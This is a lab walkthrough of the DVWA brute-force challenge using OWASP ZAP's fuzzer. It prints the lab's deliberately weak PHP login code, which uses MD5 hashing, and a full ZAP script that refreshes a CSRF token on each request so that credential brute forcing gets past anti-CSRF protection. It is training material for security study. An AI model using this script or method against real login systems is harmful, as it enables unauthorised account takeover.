Skip to main content

Brute Force

Brute-force attack is a method used to crack passwords, encryption keys or access vulnerable systems by exhaustively testing all possible combinations until the correct one is found. This attack is based on the simplicity of trying all options without using shortcuts or heuristics.

  • Exhaustive testing of combinations: The attacker uses software to test all possible combinations of characters until the correct password is found. This method guarantees success if sufficient time and computational resources are available.

  • Dictionary attacks: They use predefined lists of common words and potential phrases that people often use as passwords. This approach is faster than testing all possible combinations, but less comprehensive.

  • Automation: Attackers employ tools and scripts that automate the testing process, allowing millions of attempts per second, which significantly speeds up decryption time.

Low

If we enter the initial level, we find a login form. If we test with any username and password, we see that it is sent via a GET request.

Form Login

basic Url

To use OWASP ZAP request interception and then apply brute force, we only need to open the browser controlled from within OWASP ZAP by clicking on the browser icon, as shown in the following image highlighted in the red box.

From the browser that opens, we go to the website we need to intercept and activate the interception by clicking on the green icon, which we see highlighted in the image with the blue box.

icons OWASP ZAP

Once we have arrived with the browser controlled by OWASP ZAP to the URL we want, what we are going to do is to send it to the Fuzzer to do the brute force work for us.

Send request to Fuzzer

This opens the following window, where we have to select where we want to perform the Fuzzing.

Fuzzer configuration

To do this, we select the part of the request we want to fuzz and click Add, which opens the payload configuration window. We click on add a new payload and it allows us several configurations. In our case, we will load a dictionary with users and passwords.

Configure user payload

Configure payload users

Configure payload passwords

Once the attack is configured, just click on Start Fuzzer and wait. At the bottom of OWASP ZAP a tab with the attack will appear.

Attack-result

Once finished, we have to look at the column Size Resp. Body and look for which one is different in size; that will be our correct password.

Response size

If we look at the ones that are repeated, we will see in the response of the request the message that we see in the form when we fail a user and password.

Response size

And if we check the response of the request with a different size, we will see that the content has changed.

Response size

Now we only need to test the user and password to access our protected page.

Protected-area

Medium

When we access the middle level and try the user and password, we find the same operation as in the low level. But if we review the code:


<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

We note that the only difference is that it has a sleep(2) if the user and password fail, so we only have to repeat the low level and be more patient.

Medium attack

High

At this level, when we test a username and password, if we look at the URL, it has a token to prevent CSRF attacks.

Url high level

OWASP ZAP itself has a system to detect CSRF tokens and skip them, but it has a problem, as shown in the image, it is only valid for FORM parameters and is not valid for the token in the URL.

Anti CSRF

In order to solve this, we are going to use the scripting power of OWASP ZAP and we are going to extend a script that the community created in its day to solve this DVWA problem and that can be configured at the time of using the scripts and not in the code itself, as it is in the OWASP ZAP FAQ

The first thing we have to do is to open the script manager, which is located in the right bar in the +

Open scripts

We go to the Fuzzer HTTP Processor section, where we will create a new script, by right clicking and selecting New Script..., which will open the window to create it.

Open scripts

When we create it, an initial skeleton for our script will be created:

// Auxiliary variables/constants needed for processing.
var count = 1;

/**
* Processes the fuzzed message (payloads already injected).
*
* Called before forwarding the message to the server.
*
* @param {HttpFuzzerTaskProcessorUtils} utils - A utility object that contains functions that ease common tasks.
* @param {HttpMessage} message - The fuzzed message, that will be forward to the server.
*/
function processMessage(utils, message) {
// To obtain the list of payloads:
// utils.getPayloads()
// To obtain original message:
// utils.getOriginalMessage()
// To stop fuzzer:
// utils.stopFuzzer()
// To increases the error count with a reason:
// utils.increaseErrorCount("Reason Error Message...")
// To send a message, following redirects:
// utils.sendMessage(myMessage)
// To send a message, not following redirects:
// utils.sendMessage(myMessage, false)
// To add a message previously sent to results:
// utils.addMessageToResults("Type Of Message", myMessage)
// To add a message previously sent to results, with custom state:
// utils.addMessageToResults("Type Of Message", myMessage, "Key Custom State", "Value Custom State")
// The states' value is shown in the column 'State' of fuzzer results tab
// To get the values of the parameters configured in the Add Message Processor Dialog.
// utils.getParameters()
// A map is returned, having as keys the parameters names (as returned by the getRequiredParamsNames()
// and getOptionalParamsNames() functions below)
// To get the value of a specific configured script parameter
// utils.getParameters().get("exampleParam1")

// Process fuzzed message...
message.getRequestHeader().setHeader("X-Unique-Id", count);
count++;
}

/**
* Processes the fuzz result.
*
* Called after receiving the fuzzed message from the server.
*
* @param {HttpFuzzerTaskProcessorUtils} utils - A utility object that contains functions that ease common tasks.
* @param {HttpFuzzResult} fuzzResult - The result of sending the fuzzed message.
* @return {boolean} Whether the result should be accepted, or discarded and not shown.
*/
function processResult(utils, fuzzResult){
// All the above 'utils' functions are available plus:
// To raise an alert:
// utils.raiseAlert(risk, confidence, name, description)
// To obtain the fuzzed message, received from the server:
// fuzzResult.getHttpMessage()
// To get the values of the parameters configured in the Add Message Processor Dialog.
// utils.getParameters()
// A map is returned, having as keys the parameters names (as returned by the getRequiredParamsNames()
// and getOptionalParamsNames() functions below)
// To get the value of a specific configured script parameter
// utils.getParameters().get("exampleParam1")

var condition = true;
if (condition)
fuzzResult.addCustomState("Key Custom State", "Message Contains X")

return true;
}


/**
* This function is called during the script loading to obtain a list of the names of the required configuration parameters,
* that will be shown in the Add Message Processor Dialog for configuration. They can be used
* to input dynamic data into the script, from the user interface
*/
function getRequiredParamsNames(){
return ["exampleParam1", "exampleParam2"];
}

/**
* This function is called during the script loading to obtain a list of the names of the optional configuration parameters,
* that will be shown in the Add Message Processor Dialog for configuration. They can be used
* to input dynamic data into the script, from the user interface
*/
function getOptionalParamsNames(){
return ["exampleParam3"];
}

Now we are going to modify the initial script with the following code. The processMessage function modifies the HTTP message before sending it to the server, updating its URL and adding a CSRF token dynamically extracted from the content of a page. processResult simply indicates whether the result of the fuzzed message should be accepted. getRequiredParamsNames returns the names of the parameters needed to configure the message processing. getPageContent sends an HTTP message and gets its response content, while extractInputFieldValue looks up and extracts the value of a specific input field in the HTML of the page. Finally, replace updates the value of a specific parameter in the message parameter list. In this way, we will modify the request in order to bypass the CSRF in the brute force attack.

/**
* Processes the fuzzed message (payloads already injected).
*
* Called before forwarding the message to the server.
*
* @param {HttpFuzzerTaskProcessorUtils} utils - A utility object that contains functions that ease common tasks.
* @param {HttpMessage} message - The fuzzed message, that will be forward to the server.
*/
function processMessage(utils, message) {
var SOURCE_URL = utils.getParameters().get("Source URL");
var CSRF_TOKEN_NAME = utils.getParameters().get("CSRF Token name");
utils.getParameters().get("exampleParam1");
var REQUEST_URI = new org.apache.commons.httpclient.URI(SOURCE_URL, true);
var msg = message.cloneRequest();
msg.getRequestHeader().setURI(REQUEST_URI);
var csrfTokenValue = extractInputFieldValue(getPageContent(utils, msg), CSRF_TOKEN_NAME);

var params = message.getUrlParams();
replace(params, CSRF_TOKEN_NAME, encodeURIComponent(csrfTokenValue));
message.getRequestHeader().setGetParams(params);
}

/**
* Processes the fuzz result.
*
* Called after receiving the fuzzed message from the server.
*
* @param {HttpFuzzerTaskProcessorUtils} utils - A utility object that contains functions that ease common tasks.
* @param {HttpFuzzResult} fuzzResult - The result of sending the fuzzed message.
* @return {boolean} Whether the result should be accepted, or discarded and not shown.
*/
function processResult(utils, fuzzResult){
return true;
}

/**
* This function is called during the script loading to obtain a list of the names of the required configuration parameters,
* that will be shown in the Add Message Processor Dialog for configuration. They can be used
* to input dynamic data into the script, from the user interface.
*
* @return {Array<String>} An array containing the names of the required configuration parameters.
*/
function getRequiredParamsNames(){
return ["Source URL", "CSRF Token name"];
}

/**
* Retrieves the content of the page for a given message.
*
* Sends the specified message and retrieves the response body as a string.
* Adds the message to the results with a descriptive label.
*
* @param {HttpFuzzerTaskProcessorUtils} utils - A utility object that contains functions that ease common tasks.
* @param {HttpMessage} msg - The message to be sent and processed.
* @return {String} The response body of the message.
*/
function getPageContent(utils, msg) {
var CSRF_TOKEN_NAME = utils.getParameters().get("CSRF Token name");
utils.sendMessage(msg);
utils.addMessageToResults("Refresh " + CSRF_TOKEN_NAME, msg);
return msg.getResponseBody().toString();
}

/**
* Extracts the value of an input field from the given HTML content.
*
* Parses the provided HTML content and retrieves the value of the input field with the specified name.
*
* @param {String} page - The HTML content of the page.
* @param {String} fieldName - The name of the input field whose value is to be extracted.
* @return {String} The value of the specified input field, or an empty string if not found.
*/
function extractInputFieldValue(page, fieldName) {
var Source = Java.type("net.htmlparser.jericho.Source");
var src = new Source(page);

var it = src.getAllElements('input').iterator();

while (it.hasNext()) {
var element = it.next();
if (element.getAttributeValue('name') == fieldName) {
return element.getAttributeValue('value');
}
}
return '';
}

/**
* Replaces the value of a parameter in the given list of parameters.
*
* Iterates through the list of parameters and sets the value of the parameter with the specified name to the provided value.
*
* @param {List} params - The list of parameters to be modified.
* @param {String} name - The name of the parameter whose value is to be replaced.
* @param {String} value - The new value to be set for the specified parameter.
*/
function replace(params, name, value) {
var it = params.iterator();

while (it.hasNext()) {
var param = it.next();
if (param.getName() == name) {
param.setValue(value);
return;
}
}
}

Now that we have it loaded, let's use it. To do this, we have to repeat the previous steps of configuring the payloads, but before performing the attack we have to configure the script.

Configure message processor

We launch the attack and we see that the script we have created is making requests to retrieve the token and send it in the next request until we get the correct password.

Attack-high